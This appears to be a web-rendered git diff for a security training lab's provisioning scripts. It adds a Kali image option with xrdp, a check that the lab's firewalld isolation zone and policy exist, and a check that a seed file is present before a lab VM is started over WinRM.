KALI_ARCHIVE_URL="https://cdimage.kali.org/kali-2026.3/kali-linux-2026.3-qemu-amd64.7z"
|
KALI_ARCHIVE_URL="https://cdimage.kali.org/kali-2026.3/kali-linux-2026.3-qemu-amd64.7z"
|
||||||
|
# Bake xrdp into the Kali template (GUI over RDP, port 3389 inside the seat).
|
||||||
|
# Needs Internet on the PVE host for one apt install, done through a temporary
|
||||||
|
# squid that only accepts the probe address. Set to 0 to skip.
|
||||||
|
KALI_XRDP=1
|
||||||
|
|
||||||
# ---------------------------------------------------------------- participants
|
# ---------------------------------------------------------------- participants
|
||||||
# WireGuard endpoint for the router VM option; peers/ writes configs here.
|
# WireGuard endpoint for the router VM option; peers/ writes configs here.
|
||||||
|
|||||||
@@ -37,6 +37,18 @@ backend_check() {
|
|||||||
else
|
else
|
||||||
_c_warn "qemu-bridge-helper not found: unprivileged bridge attach will fail"
|
_c_warn "qemu-bridge-helper not found: unprivileged bridge attach will fail"
|
||||||
fi
|
fi
|
||||||
|
|
||||||
|
# Isolation lives in firewalld's permanent configuration, so it survives a
|
||||||
|
# reboot. Check it here: without the policy the lab can reach the office LAN.
|
||||||
|
if have_cmd firewall-cmd && firewall-cmd --zone=norbourg-lab --list-all >/dev/null 2>&1; then
|
||||||
|
if firewall-cmd --policy=lab-in --list-all >/dev/null 2>&1; then
|
||||||
|
_c_ok "firewalld isolation: zone norbourg-lab + policy lab-in"
|
||||||
|
else
|
||||||
|
_c_warn "isolation policy lab-in missing: run sudo ./setup-network.sh"
|
||||||
|
fi
|
||||||
|
else
|
||||||
|
_c_warn "isolation zone norbourg-lab missing: run sudo ./setup-network.sh"
|
||||||
|
fi
|
||||||
}
|
}
|
||||||
|
|
||||||
# ------------------------------------------------------------------ layout
|
# ------------------------------------------------------------------ layout
|
||||||
@@ -285,6 +297,12 @@ backend_ready() {
|
|||||||
|
|
||||||
backend_start() {
|
backend_start() {
|
||||||
local name=$1 remote=$2
|
local name=$1 remote=$2
|
||||||
|
|
||||||
|
if ! _labwinrm "$name" ps "Test-Path '${remote}'" 2>/dev/null | grep -qi true; then
|
||||||
|
fail "$name: ${remote} is missing — the seed payload was not copied"
|
||||||
|
return 1
|
||||||
|
fi
|
||||||
|
|
||||||
_labwinrm "$name" start "$remote"
|
_labwinrm "$name" start "$remote"
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
Reference in New Issue
Block a user